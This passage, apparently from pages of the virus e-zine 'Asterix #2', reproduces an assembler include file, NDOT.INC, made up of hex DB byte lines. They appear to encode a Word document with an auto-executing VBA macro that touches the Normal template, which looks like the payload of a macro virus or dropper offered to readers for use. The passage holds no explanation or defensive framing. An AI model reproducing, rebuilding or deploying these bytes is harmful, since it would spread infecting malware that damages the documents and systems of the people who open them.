010H, 083H, 000H, 080H, 092H, 064H, 024H, 078H, 0A0H, 010H, 0DAH, 004H, 008H, 00BHDB 021H, 056H, 000H, 042H, 000H, 041H, 00BH, 011H, 0C7H, 0C7H, 00FH, 00CH, 00FH, 010H, 00EHDB 010H, 008H, 000H, 001H, 028H, 080H, 053H, 034H, 00EH, 01FH, 004H, 00FH, 007H, 080H, 0C0HDB 047H, 0C9H, 00FH, 080H, 022H, 0FEH, 0E8H, 0FFH, 068H, 000H, 069H, 002H, 0FCH, 044H, 012HDB 058H, 02FH, 080H, 004H, 03DH, 00FH, 005H, 00EH, 010H, 023H, 080H, 053H, 0A4H, 023H, 0D4HDB 013H, 084H, 00EH, 01FH, 00FH, 00FH, 0FDH, 0FFH, 008H, 010H, 096H, 053H, 0E5H, 002H, 00EHDB 013H, 03CH, 023H, 040H, 033H, 0BCH, 023H, 044H, 023H, 0CCH, 003H, 01BH, 003H, 0CCH, 003HDB 054H, 003H, 05CH, 06FH, 000H, 067H, 000H, 013H, 0C3H, 0BFH, 0EAH, 06FH, 000H, 06BH, 000HDB 013H, 0E8H, 067H, 000H, 053H, 0A4H, 06FH, 000H, 020H, 002H, 080H, 021H, 002H, 004H, 022HDB 002H, 004H, 023H, 002H, 004H, 043H, 018H, 06BH, 000H, 05FH, 055H, 063H, 014H, 063H, 004HDB 06FH, 000H, 06BH, 000H, 043H, 094H, 032H, 002H, 03CH, 033H, 002H, 004H, 034H, 002H, 004HDB 035H, 002H, 004H, 036H, 002H, 004H, 037H, 055H, 055H, 002H, 004H, 038H, 002H, 004H, 039HDB 002H, 004H, 03AH, 002H, 004H, 03BH, 002H, 004H, 03CH, 002H, 004H, 03DH, 002H, 004H, 03EHDB 002H, 004H, 03FH, 0ADH, 05AH, 002H, 004H, 040H, 002H, 004H, 013H, 0FCH, 042H, 002H, 008HDB 043H, 002H, 004H, 044H, 002H, 004H, 045H, 002H, 004H, 043H, 0B5H, 047H, 002H, 008H, 048HDB 0ABH, 0AAH, 002H, 004H, 003H, 0B8H, 04AH, 002H, 008H, 04BH, 002H, 004H, 04CH, 002H, 004HDB 04DH, 002H, 004H, 04EH, 002H, 004H, 04FH, 002H, 004H, 050H, 002H, 004H, 0EAH, 0AAH, 051HDB 002H, 004H, 052H, 002H, 004H, 053H, 002H, 004H, 003H, 02CH, 003H, 004H, 056H, 002H, 00CHDB 057H, 002H, 004H, 058H, 002H, 004H, 059H, 002H, 004H, 0F6H, 07FH, 05AH, 002H, 004H, 003HDB 018H, 05CH, 006H, 008H, 013H, 0A8H, 00FH, 004H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 007H, 010H, 001H, 0E0H, 0FCH, 016H, 001H, 000HDB 001H, 0B6H, 022H, 0C3H, 034H, 046H, 002H, 008H, 0FFH, 0FFH, 002H, 0A6H, 004H, 008H, 005HDB 00AH, 003H, 00EH, 00FH, 004H, 00FH, 010H, 0BFH, 055H, 00BH, 010H, 023H, 015H, 023H, 04DHDB 023H, 049H, 023H, 045H, 008H, 069H, 001H, 023H, 04FH, 003H, 00EH, 078H, 002H, 02FH, 0DEHDB 002H, 004H, 0F7H, 022H, 078H, 0F5H, 00FH, 0D8H, 022H, 080H, 003H, 014H, 002H, 00FH, 032HDB 049H, 000H, 000H, 08DH, 09AH, 08FH, 09AH, 000H, 002H, 07EH, 023H, 00FH, 088H, 002H, 015HDB 003H, 034H, 0AFH, 01DH, 002H, 007H, 00FH, 003H, 009H, 010H, 003H, 0A5H, 013H, 002H, 070HDB 0D6H, 002H, 013H, 003H, 004H, 0EBH, 023H, 0C5H, 002H, 041H, 003H, 018H, 000H, 000H, 0DFHDB 0F3H, 07FH, 002H, 00AH, 002H, 019H, 000H, 00CH, 002H, 008H, 003H, 067H, 00FH, 004H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 009H, 010H, 023H, 0CCH

Page 232: EZine - Asterix #2

NDOT.INC

DB 002H, 028H, 085H, 000H, 053H, 04CH, 003H, 012H, 000H, 002H, 0EBH, 053H, 010H, 008H, 00AHDB 094H, 005H, 00AH, 000H, 000H, 002H, 03CH, 005H, 00AH, 004H, 054H, 0FFH, 0FFH, 015H, 08DHDB 001H, 000H, 04EH, 000H, 030H, 000H, 07BH, 002H, 004H, 030H, 002H, 004H, 032H, 002H, 004HDB 039H, 0B1H, 01EH, 002H, 004H, 036H, 000H, 02DH, 002H, 006H, 003H, 012H, 030H, 00CH, 00AHDB 043H, 006H, 016H, 009H, 01EH, 005H, 024H, 005H, 006H, 034H, 000H, 036H, 000H, 08CH, 000HDB 07DH, 000H, 019H, 0A2H, 0DDH, 036H, 002H, 000H, 0DFH, 033H, 0E1H, 013H, 086H, 001H, 001HDB 080H, 012H, 01EH, 0CCH, 03FH, 002H, 081H, 023H, 09DH, 003H, 07BH, 0FFH, 0FFH, 003H, 0A7HDB 013H, 080H, 002H, 017H, 004H, 003H, 005H, 016H, 015H, 04DH, 093H, 0BBH, 033H, 0A3H, 00CHDB 011H, 07CH, 0FAH, 01AH, 002H, 00BH, 018H, 00FH, 00CH, 003H, 039H, 007H, 014H, 003H, 008HDB 00DH, 000H, 0A3H, 035H, 094H, 003H, 017H, 004H, 004H, 093H, 0B7H, 003H, 018H, 003H, 004HDB 0DFH, 0FFH, 003H, 011H, 022H, 081H, 002H, 007H, 022H, 009H, 002H, 006H, 000H, 002H, 0C5HDB 003H, 080H, 003H, 01CH, 005H, 076H, 003H, 00AH, 00FH, 032H, 003H, 014H, 00BH, 004H, 004HDB 039H, 002H, 005H, 00FH, 0FDH, 007H, 014H, 002H, 00BH, 01FH, 0F1H, 007H, 01BH, 0FFH, 002HDB 000H, 070H, 002H, 01FH, 04DH, 032H, 0E8H, 005H, 013H, 002H, 00DH, 002H, 02CH, 005H, 006HDB 015H, 077H, 01FH, 0E1H, 003H, 00CH, 00FH, 004H, 00FH, 010H, 00FH, 010H, 007H, 010H, 0FEHDB 0CAH, 001H, 002H, 0EEH, 022H, 081H, 008H, 000H, 013H, 064H, 004H, 016H, 002H, 00CH, 0DFHDB 0FFH, 023H, 094H, 024H, 0CAH, 002H, 00CH, 053H, 04DH, 033H, 024H, 000H, 002H, 00CH, 063HDB 0B5H, 053H, 005H, 003H, 00CH, 0B3H, 015H, 003H, 0E8H, 003H, 00CH, 043H, 0A9H, 043H, 05DHDB 003H, 00CH, 0DDH, 0A2H, 003H, 030H, 090H, 003H, 049H, 002H, 030H, 0B3H, 019H, 0A0H, 006HDB 00CH, 003H, 018H, 0C8H, 003H, 00CH, 080H, 008H, 000H, 003H, 060H, 0D8H, 002H, 00CH, 026HDB 03EH, 004H, 002H, 024H, 032H, 055H, 000H, 0E0H, 002H, 00CH, 000H, 080H, 009H, 003H, 006HDB 002H, 0DCH, 012H, 048H, 00AH, 00CH, 003H, 0F6H, 001H, 001H, 012H, 004H, 0F0H, 002H, 01CHDB 08FH, 004H, 004H, 070H, 000H, 0C1H, 000H, 01CH, 002H, 013H, 014H, 0AFH, 000H, 020H, 000HDB 01EH, 060H, 028H, 002H, 028H, 000H, 020H, 002H, 002H, 01DH, 002H, 003H, 020H, 000H, 024HDB 002H, 005H, 012H, 022H, 004H, 012H, 0F7H, 000H, 080H, 080H, 020H, 000H, 026H, 002H, 0F6HDB 000H, 0A4H, 022H, 0BFH, 020H, 000H, 028H, 002H, 021H, 000H, 02AH, 002H, 004H, 082H, 009HDB 02CH, 002H, 004H, 02EH, 002H, 08BH, 000H, 000H, 004H, 018H, 005H, 01CH, 026H, 002H, 007HDB 020H, 025H, 000H, 02CH, 002H, 000H, 000H, 001H, 000H, 021H, 000H, 030H, 002H, 025H, 000HDB 032H, 002H, 002H, 000H, 0AEH, 000H, 008H, 000H, 000H, 0A8H, 027H, 043H, 06FH, 063H, 061HDB 069H, 06EH, 065H, 005H, 000H, 094H, 0A2H, 020H, 093H, 002H, 07EH, 067H, 032H, 0A1H, 08CHDB 040H, 053H, 000H, 007H, 060H, 0A3H, 03BH, 00CH, 000H, 058H, 002H, 02CH, 00EH, 000H, 063HDB 03AH, 05CH, 063H, 005H, 02EH, 02EH, 030H, 020H, 073H, 079H, 073H, 01DH, 002H, 082H, 009HDB 078H, 042H, 040H, 034H, 002H, 001H, 000H, 040H, 004H, 014H, 042H, 040H, 06BH, 00FH, 022HDB 0D8H, 092H, 0BBH, 063H, 092H, 033H, 09BH, 002H, 052H, 013H, 056H, 06CH, 002H, 0FCH, 063HDB 083H, 003H, 0F2H, 013H, 072H, 001H, 0A7H, 0B1H, 000H, 000H, 000H, 041H, 074H, 074H, 072HDB 069H, 062H, 075H, 074H, 000H, 065H, 020H, 056H, 042H, 05FH, 04EH, 061H, 081H, 000H, 092HDB 0EFH, 020H, 03DH, 020H, 022H, 054H, 068H, 072H, 084H, 044H, 06FH, 063H, 075H, 06DH, 065HDB 06EH, 010H, 000H, 000H, 074H, 022H, 00DH, 00AH, 00AH, 08CH, 042H, 061H, 073H, 001H, 002HDB 08CH, 030H, 07BH, 030H, 030H, 000H, 000H, 030H, 032H, 030H, 050H, 039H, 030H, 036H, 02DHDB 000H, 010H, 030H, 003H, 008H, 043H, 007H, 000H, 000H, 000H, 014H, 002H, 012H, 001H, 024HDB 030H, 030H, 034H, 036H, 07DH, 001H, 00DH, 07CH, 043H, 072H, 065H, 000H, 000H, 061H, 074HDB 061H, 062H, 082H, 06CH, 001H, 086H, 046H, 061H, 06CH, 073H, 065H, 00CH, 05EH, 000H, 000HDB 000H, 050H, 072H, 065H, 064H, 065H, 063H, 06CH, 061H, 089H, 000H, 006H, 049H, 064H, 000HDB 08BH, 054H, 000H, 000H, 072H, 075H, 00DH, 022H, 040H, 045H, 078H, 070H, 06FH, 073H, 065HDB 014H, 01CH, 054H, 000H, 065H, 000H, 000H, 06DH, 070H, 06CH, 061H, 074H, 065H, 044H, 030HDB 065H, 072H, 069H, 076H, 002H, 024H, 011H, 065H, 000H, 000H, 043H, 075H, 0C0H, 073H, 074HDB 06FH, 06DH, 069H, 07AH, 004H, 088H, 003H, 032H, 000H, 053H, 075H, 000H, 000H, 062H, 020HDB 041H, 075H, 074H, 06FH, 000H, 045H, 078H, 065H, 063H, 028H, 029H, 00DH, 00AH, 000H, 000HDB 000H, 04FH, 06EH, 020H, 045H, 072H, 072H, 06FH, 072H, 080H, 020H, 047H, 06FH, 054H, 06FHDB 020H, 065H, 000H, 000H, 000H, 005H, 001H, 080H, 055H, 070H, 070H, 06CH, 069H, 063H, 061HDB 074H, 080H, 069H, 06FH, 06EH, 000H, 000H, 02EH, 044H, 069H, 073H, 000H, 035H, 080H, 079HDB 041H, 06CH, 065H, 072H, 074H, 073H, 000H, 055H, 000H, 000H, 013H, 005H, 034H, 008H, 011HDB 045H, 06EH, 081H, 030H, 043H, 061H, 06EH, 040H, 063H, 065H, 06CH, 000H, 000H, 04BH, 065HDB 079H, 000H, 012H, 077H, 086H, 064H, 000H, 01BH, 001H, 00AH, 064H, 00DH, 00AH, 046H, 000HDB 000H, 080H, 02DH, 012H, 069H, 080H, 009H, 031H, 020H, 080H, 02FH, 04EH, 06FH, 072H, 008HDB 06DH, 061H, 000H, 000H, 06CH, 005H, 05FH, 02EH, 056H, 042H, 050H, 040H, 072H, 06FH, 06AHDB 065H, 063H, 074H, 080H, 004H, 000H, 000H, 043H, 020H, 06FH, 06DH, 070H, 06FH, 06EH, 080HDB 0C5H, 073H, 02EH, 000H, 043H, 06FH, 075H, 06EH, 000H, 000H, 074H, 00DH, 00AH, 049H, 044HDB 066H, 020H, 0A2H, 017H, 028H, 069H, 029H, 000H, 019H, 064H, 000H, 000H, 004H, 065H, 04DHDB 06FH, 064H, 075H, 06CH, 065H, 02EH, 000H, 04CH, 012H, 0C5H, 073H, 028H, 031H, 02CH, 008HDB 040H, 000H, 020H, 031H, 029H, 000H, 03BH, 022H, 012H, 0D8H, 004H, 063H, 061H, 080H, 004HDB 022H, 020H, 054H, 068H, 000H, 000H, 065H, 002H, 06EH, 089H, 039H, 04EH, 065H, 078H, 074H

Page 233: EZine - Asterix #2

NDOT.INC

DB 020H, 069H, 014H, 00DH, 00AH, 023H, 025H, 000H, 042H, 049H, 080H, 027H, 072H, 074H, 020HDB 040H, 028H, 022H, 013H, 0D1H, 083H, 014H, 02EH, 030H, 012H, 0CEH, 022H, 000H, 000H, 0C0HDB 050H, 00CH, 010H, 053H, 061H, 006H, 076H, 040H, 073H, 081H, 052H, 03AH, 00DH, 00AH, 045HDB 000H, 000H, 06EH, 024H, 064H, 020H, 0C0H, 05CH, 00DH, 00AH, 041H, 000H, 0D0H, 0CFH, 011HDB 0E0H, 0A1H, 0B1H, 008H, 008H, 01AH, 0E1H, 000H, 00EH, 001H, 03EH, 000H, 003H, 000H, 0FEHDB 0FFH, 009H, 039H, 05DH, 000H, 0CCH, 061H, 05EH, 081H, 00CH, 053H, 04FH, 0FFH, 016H, 004HDB 000H, 000H, 009H, 002H, 004H, 0E4H, 004H, 047H, 049H, 003H, 017H, 005H, 000H, 002H, 000HDB 000H, 0AEH, 02CH, 001H, 02AH, 000H, 05CH, 000H, 047H, 000H, 07BH, 042H, 05BH, 053H, 00CHDB 053H, 048H, 034H, 0C2H, 0EEH, 046H, 05CH, 03EH, 0F3H, 020H, 003H, 01AH, 003H, 004H, 02DHDB 000H, 05FH, 048H, 003H, 016H, 009H, 004H, 055H, 048H, 023H, 000H, 033H, 000H, 02EH, 002HDB 050H, 023H, 000H, 028H, 000H, 039H, 000H, 023H, 002H, 032H, 03AH, 002H, 062H, 041H, 000HDB 052H, 000H, 051H, 000H, 055H, 000H, 049H, 000H, 0A8H, 00AH, 056H, 000H, 04FH, 0B2H, 046HDB 020H, 0B2H, 05AH, 045H, 022H, 09DH, 050H, 002H, 018H, 04FH, 002H, 080H, 052H, 000H, 041HDB 000H, 05AH, 055H, 04DH, 002H, 004H, 053H, 00FH, 02CH, 004H, 02CH, 043H, 002H, 034H, 04DHDB 002H, 03EH, 04EH, 002H, 00EH, 05CH, 002H, 028H, 049H, 002H, 056H, 052H, 055H, 0B5H, 002HDB 014H, 053H, 002H, 004H, 046H, 0A2H, 026H, 020H, 002H, 018H, 048H, 002H, 03EH, 052H, 002HDB 0BAH, 044H, 002H, 042H, 0A5H, 0B8H, 05CH, 002H, 06CH, 02AH, 0BAH, 042H, 002H, 016H, 033HDB 002H, 090H, 032H, 002H, 092H, 044H, 000H, 04CH, 002H, 002H, 023H, 002H, 016H, 022H, 0D0HDB 0C2H, 058H, 061H, 0D2H, 058H, 0A2H, 08AH, 020H, 0A2H, 0E2H, 061H, 000H, 073H, 0A2H, 066HDB 063H, 002H, 08EH, 046H, 0A2H, 068H, 072H, 002H, 008H, 041H, 000H, 070H, 002H, 002H, 098HDB 0FAH, 06CH, 000H, 05FH, 002H, 02CH, 003H, 042H, 05FH, 000H, 005H, 0A8H, 04AH, 002H, 060HDB 043H, 002H, 070H, 01EH, 079H, 00FH, 00FH, 008H, 010H, 0A2H, 080H, 0BFH, 0EAH, 032H, 067HDB 033H, 063H, 005H, 004H, 008H, 019H, 00FH, 009H, 00AH, 010H, 01BH, 002H, 00CH, 07AH, 0B6HDB 0ADH, 064H, 002H, 098H, 072H, 002H, 010H, 00FH, 003H, 00FH, 010H, 0FBH, 0E5H, 00FH, 010HDB 007H, 010H, 008H, 012H, 0E2H, 005H, 07AH, 005H, 006H, 007H, 018H, 00FH, 008H, 00BH, 010HDB 049H, 002H, 00DH, 084H, 002H, 002H, 005H, 002H, 003H, 00DH, 0F6H, 078H, 0EFH, 077H, 000HDB 06DH, 002H, 014H, 00FH, 003H, 00FH, 010H, 00BH, 010H, 014H, 00FH, 080H, 00BH, 01DH, 00FHDB 00CH, 006H, 010H, 054H, 002H, 008H, 0A3H, 0D8H, 002H, 007H, 05FH, 07FH, 01FH, 076H, 003HDB 013H, 00FH, 004H, 00FH, 010H, 00CH, 010H, 010H, 0D2H, 080H, 006H, 002H, 012H, 063H, 00FHDB 013H, 002H, 002H, 00BH, 00FH, 003H, 00FH, 010H, 022H, 066H, 000H, 044H, 0D5H, 000H, 052HDB 036H, 027H, 069H, 000H, 063H, 0D2H, 082H, 074H, 012H, 086H, 06FH, 0D2H, 0EAH, 073H, 00CHDB 02CH, 020H, 03FH, 03AH, 022H, 0F2H, 0FDH, 005H, 083H, 082H, 035H, 03FH, 03AH, 002H, 018HDB 083H, 08CH, 03FH, 03AH, 039H, 036H, 003H, 00AH, 037H, 03AH, 038H, 022H, 0A8H, 030H, 000HDB 023H, 000H, 034H, 023H, 0A2H, 002H, 036H, 03BH, 03EH, 072H, 000H, 071H, 022H, 0B2H, 069HDB 000H, 076H, 022H, 0A2H, 073H, 000H, 020H, 0F2H, 094H, 065H, 002H, 006H, 0EAH, 045H, 050HDB 0E4H, 01CH, 067H, 002H, 006H, 061H, 012H, 09CH, 023H, 0C8H, 033H, 01EH, 003H, 0B6H, 072HDB 004H, 028H, 06FH, 000H, 066H, 052H, 0F3H, 020H, 0ADH, 01AH, 032H, 026H, 066H, 002H, 00AHDB 003H, 018H, 065H, 032H, 01EH, 04FH, 002H, 00CH, 066H, 002H, 0D4H, 063H, 062H, 013H, 003HDB 030H, 053H, 000H, 057H, 0ADH, 056H, 002H, 022H, 052H, 032H, 092H, 003H, 07EH, 04FH, 032HDB 024H, 042H, 002H, 082H, 04DH, 004H, 022H, 00DH, 048H, 057H, 002H, 056H, 072H, 002H, 07CHDB 020H, 00AH, 056H, 000H, 003H, 02AH, 030H, 002H, 082H, 04FH, 000H, 062H, 000H, 06AH, 002HDB 048H, 063H, 05BH, 020H, 002H, 03AH, 069H, 002H, 010H, 072H, 0A7H, 0FEH, 012H, 034H, 0F3HDB 0AEH, 01BH, 02FH, 0B8H, 000H, 04FH, 068H, 030H, 002H, 0E4H, 033H, 002H, 0E6H, 099H, 092HDB 00BH, 00AH, 01FH, 02EH, 013H, 024H, 009H, 004H, 017H, 02EH, 0A7H, 01AH, 033H, 0D6H, 013HDB 02EH, 003H, 004H, 043H, 000H, 043H, 068H, 057H, 042H, 062H, 04EH, 002H, 0CAH, 04FH, 002HDB 0D4H, 043H, 04CH, 053H, 000H, 059H, 055H, 0EDH, 042H, 01CH, 054H, 032H, 0B8H, 04DH, 002HDB 0FAH, 053H, 032H, 0BCH, 044H, 002H, 0ECH, 04CH, 002H, 010H, 003H, 03CH, 054H, 002H, 0B2HDB 003H, 0ECH, 003H, 0F4H, 0D5H, 005H, 043H, 08EH, 041H, 012H, 064H, 074H, 002H, 0E4H, 06DHDB 002H, 0C2H, 017H, 0F6H, 00BH, 0C6H, 0E0H, 008H, 0C6H, 041H, 000H, 046H, 000H, 035H, 054HDB 0D5H, 000H, 031H, 002H, 0C4H, 031H, 0A2H, 03CH, 032H, 012H, 0F4H, 042H, 012H, 014H, 035HDB 042H, 06AH, 02DH, 002H, 016H, 031H, 002H, 082H, 005H, 014H, 0AAH, 0EDH, 043H, 052H, 004HDB 044H, 002H, 01EH, 034H, 002H, 02AH, 034H, 002H, 032H, 003H, 022H, 035H, 002H, 00CH, 007HDB 0CCH, 07DH, 012H, 06AH, 003H, 08AH, 003H, 0C2H, 06BH, 0A3H, 003H, 004H, 00FH, 0C6H, 057HDB 002H, 0BEH, 05CH, 002H, 004H, 00BH, 0C6H, 04DH, 002H, 010H, 045H, 0AAH, 06DH, 000H, 073HDB 022H, 030H, 054H, 002H, 0ECH, 036H, 037H, 044H, 002H, 048H, 01FH, 0B2H, 074H, 012H, 0A0HDB 009H, 028H, 020H, 000H, 005H, 068H, 023H, 00EH, 01FH, 0B4H, 062H, 024H, 042H, 01DH, 0B4HDB 001H, 000H, 0AAH, 056H, 0E4H, 008H, 0EEH, 033H, 052H, 070H, 032H, 002H, 0D4H, 044H, 002HDB 0F6H, 038H, 002H, 048H, 063H, 008H, 046H, 012H, 044H, 037H, 002H, 0DAH, 031H, 055H, 0EBHDB 002H, 0F0H, 044H, 004H, 014H, 042H, 002H, 026H, 041H, 002H, 0DCH, 02DH, 002H, 004H, 003HDB 0F0H, 035H, 002H, 0F0H, 033H, 002H, 004H, 023H, 0CCH, 005H, 0F0H, 06FH, 0DBH, 00FH, 0EEHDB 00FH, 0EEH, 005H, 0EEH, 015H, 0AEH, 050H, 012H, 0B0H, 053H, 0C8H, 045H, 002H, 008H, 00FHDB 0F2H, 045H, 092H, 001H, 00FH, 0F2H, 06FH, 022H, 0D6H, 00FH, 0F2H, 007H, 000H, 00FH, 0F2H

Page 234: EZine - Asterix #2

NDOT.INC

DB 02FH, 0A6H, 00FH, 0F2H, 000H, 000H, 0E1H, 02EH, 045H, 00DH, 08FH, 0E0H, 01AH, 010H, 085HDB 02EH, 002H, 000H, 056H, 060H, 08CH, 04DH, 00BH, 0B4H, 000H, 000H, 01CH, 001H, 027H, 0BAHDB 013H, 002H, 046H, 012H, 0E6H, 044H, 022H, 0B6H, 034H, 055H, 0D5H, 002H, 0ECH, 02DH, 002HDB 0DCH, 042H, 012H, 012H, 041H, 014H, 006H, 030H, 012H, 008H, 042H, 002H, 00AH, 042H, 012HDB 028H, 045H, 002H, 01AH, 025H, 0CEH, 0AEH, 05FH, 041H, 062H, 080H, 003H, 0FCH, 013H, 010HDB 044H, 012H, 032H, 035H, 012H, 02AH, 01FH, 006H, 015H, 006H, 07FH, 022H, 07FH, 022H, 07BHDB 022H, 04DH, 022H, 0E6H, 043H, 0EBH, 055H, 074H, 03AH, 079H, 002H, 04FH, 002H, 08AH, 046HDB 004H, 018H, 013H, 032H, 00DH, 00EH, 013H, 040H, 04FH, 022H, 08AH, 037H, 022H, 02EH, 044HDB 022H, 0F4H, 04CH, 06FH, 017H, 02FH, 02EH, 016H, 03CH, 04BH, 01AH, 03FH, 0E4H, 065H, 052HDB 00CH, 013H, 060H, 04CH, 042H, 018H, 02FH, 030H, 035H, 024H, 001H, 052H, 0EEH, 003H, 000HDB 004H, 050H, 0FFH, 002H, 000H, 000H, 006H, 0A2H, 07BH, 008H, 002H, 008H, 016H, 0D6H, 00BHDB 003H, 020H, 0B2H, 069H, 0D6H, 062H, 053H, 08AH, 00FH, 004H, 00FH, 010H, 00FH, 010H, 03DHDB 0A8H, 005H, 010H, 000H, 074H, 04EH, 056H, 09DH, 003H, 055H, 008H, 004H, 08DH, 09AH, 001HDB 000H, 018H, 032H, 0DEH, 068H, 002H, 09EH, 073H, 012H, 082H, 02AH, 000H, 06FH, 002H, 0AEHDB 075H, 052H, 014H, 065H, 052H, 0B8H, 074H, 000H, 00AH, 000H, 032H, 033H, 036H, 064H, 064HDB 061H, 008H, 06FH, 032H, 031H, 039H, 092H, 024H, 02AH, 044H, 001H, 011H, 002H, 099H, 0F3HDB 04CH, 004H, 040H, 002H, 0A9H, 000H, 0F3H, 01AH, 005H, 064H, 001H, 0FEH, 0FFH, 001H, 0B3HDB 0E3H, 005H, 00CH, 00FH, 006H, 00FH, 010H, 00FH, 010H, 002H, 0E4H, 002H, 04DH, 00FH, 016HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FFHDB 0FFH, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 01FH, 000H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 003H, 010HDB 0A3H, 098H, 0C6H, 077H, 092H, 0D1H, 0D2H, 011H, 0BCH, 0A4H, 044H, 0BCH, 006H, 045H, 053HDB 082H, 093H, 003H, 014H, 023H, 078H, 003H, 008H, 060H, 022H, 036H, 080H, 002H, 004H, 043HDB 01CH, 01DH, 000H, 0FFH, 000H, 020H, 000H, 000H, 028H, 000H, 000H, 004H, 004H, 057H, 06FHDB 072H, 064H, 0B5H, 06BH, 010H, 000H, 003H, 004H, 056H, 000H, 080H, 042H, 041H, 0F7H, 0E2HDB 010H, 000H, 005H, 004H, 057H, 069H, 06EH, 031H, 036H, 0C1H, 07EH, 006H, 00BH, 010H, 000HDB 033H, 032H, 007H, 07FH, 003H, 01FH, 04DH, 061H, 063H, 0B3H, 0B2H, 010H, 000H, 008H, 004HDB 050H, 072H, 001H, 000H, 0C2H, 054H, 074H, 06FH, 031H, 03AH, 071H, 010H, 000H, 006H, 004HDB 073H, 074H, 064H, 06FH, 06CH, 065H, 000H, 000H, 093H, 060H, 010H, 000H, 007H, 000H, 04DHDB 053H, 046H, 06FH, 072H, 06DH, 073H, 043H, 00FH, 010H, 028H, 010H, 000H, 00CH, 004H, 0D2HDB 07FH, 073H, 0D6H, 07EH, 074H, 03CH, 09EH, 010H, 000H, 009H, 002H, 07CH, 0FFH, 003H, 004HDB 080H, 004H, 000H, 05FH, 045H, 076H, 061H, 06CH, 075H, 0D2H, 02DH, 018H, 0D9H, 003H, 040HDB 04FH, 066H, 066H, 069H, 063H, 000H, 043H, 065H, 015H, 075H, 010H, 000H, 00FH, 004H, 054HDB 0D6H, 047H, 004H, 062H, 063H, 074H, 081H, 045H, 002H, 055H, 004H, 084H, 045H, 04DH, 0F3HDB 0C2H, 099H, 06FH, 031H, 0D4H, 012H, 003H, 07CH, 0D3H, 045H, 045H, 0D2H, 044H, 0ECH, 09CHDB 010H, 002H, 0BCH, 065H, 001H, 0E3H, 0D2H, 042H, 051H, 05BH, 010H, 000H, 00BH, 000H, 041HDB 0D6H, 03BH, 0D2H, 03AH, 0A5H, 02AH, 010H, 0F2H, 0AEH, 0D2H, 03FH, 0D2H, 092H, 009H, 018HDB 0D6H, 03FH, 0F4H, 0F6H, 002H, 05EH, 000H, 045H, 06EH, 061H, 062H, 06CH, 065H, 0D2H, 040HDB 0D5H, 03FH, 0EAH, 0F3H, 010H, 019H, 000H, 032H, 061H, 077H, 064H, 002H, 02AH, 003H, 018HDB 064H, 0FCH, 0D3H, 010H, 000H, 001H, 000H, 069H, 060H, 010H, 010H, 038H, 00DH, 000H, 00EHDB 000H, 0D2H, 045H, 0D2H, 044H, 007H, 090H, 071H, 0ACH, 002H, 0BFH, 000H, 0D2H, 04FH, 003HDB 0FAH, 063H, 074H, 04FH, 068H, 00BH, 094H, 002H, 0E0H, 002H, 00FH, 043H, 0D4H, 053H, 065HDB 06EH, 074H, 073H, 00AH, 027H, 012H, 02DH, 000H, 0D4H, 058H, 030H, 076H, 003H, 057H, 0C8HDB 024H, 043H, 06FH, 064H, 0D6H, 052H, 0E1H, 01CH, 003H, 01BH, 0D4H, 056H, 0BAH, 0CEH, 002HDB 0F1H, 000H, 049H, 0D2H, 088H, 072H, 074H, 004H, 06CH, 069H, 0C5H, 002H, 0C1H, 000H, 053HDB 061H, 076H, 065H, 092H, 0D0H, 003H, 0D9H, 017H, 02AH, 06AH, 002H, 086H, 032H, 0E5H, 001HDB 0F6H, 0BBH, 001H, 012H, 0BDH, 0E2H, 095H, 004H, 042H, 03AH, 047H, 08EH, 013H, 0C4H, 005HDB 004H, 0A2H, 01FH, 002H, 018H, 002H, 03FH, 0B4H, 005H, 01DH, 006H, 006H, 00CH, 002H, 01FHDB 0A0H, 0B6H, 0FFH, 0FFH, 00EH, 002H, 003H, 002H, 02AH, 011H, 002H, 02AH, 00CH, 002H, 008HDB 003H, 01BH, 00CH, 002H, 0DEH, 0D3H, 046H, 012H, 024H, 00AH, 003H, 003H, 00FH, 005H, 0D5HDB 0A4H, 001H, 080H, 0B2H, 080H, 001H, 000H, 0D2H, 079H, 012H, 011H, 030H, 02AH, 002H, 002HDB 090H, 009H, 000H, 000H, 000H, 070H, 014H, 006H, 048H, 003H, 000H, 082H, 002H, 000H, 064HDB 0E4H, 004H, 004H, 000H, 00FH, 038H, 000H, 000H, 01CH, 000H, 017H, 01DH, 0F2H, 01BH, 022HDB 010H, 063H, 074H, 005H, 051H, 000H, 048H, 000H, 000H, 040H, 002H, 000H, 000H, 00AH, 006HDB 002H, 00AH, 03DH, 0ADH, 002H, 00AH, 007H, 002H, 07CH, 001H, 014H, 008H, 006H, 012H, 080HDB 000H, 009H, 002H, 012H, 080H, 019H, 0A2H, 0DDH, 0F2H, 0CBH, 00CH, 002H, 04AH, 012H, 03CHDB 002H, 00AH, 016H, 028H, 02CH, 000H, 001H, 039H, 022H, 036H, 010H, 022H, 037H, 03EH, 002HDB 019H, 073H, 092H, 0EAH, 092H, 09BH, 06FH, 0C2H, 0D5H, 065H, 050H, 084H, 082H, 000H, 00DHDB 052H, 0D2H, 025H, 05CH, 000H, 003H, 062H, 0BCH, 047H, 0F5H, 0A6H, 0B0H, 034H, 033H, 030HDB 02DH, 022H, 076H, 000H, 002H, 004H, 043H, 000H, 00AH, 003H, 002H, 00EH, 001H, 012H, 0F4HDB 0A5H, 023H, 000H, 032H, 02EH, 030H, 023H, 000H, 010H, 030H, 023H, 043H, 03AH, 000H, 05CH

Page 235: EZine - Asterix #2

NDOT.INC

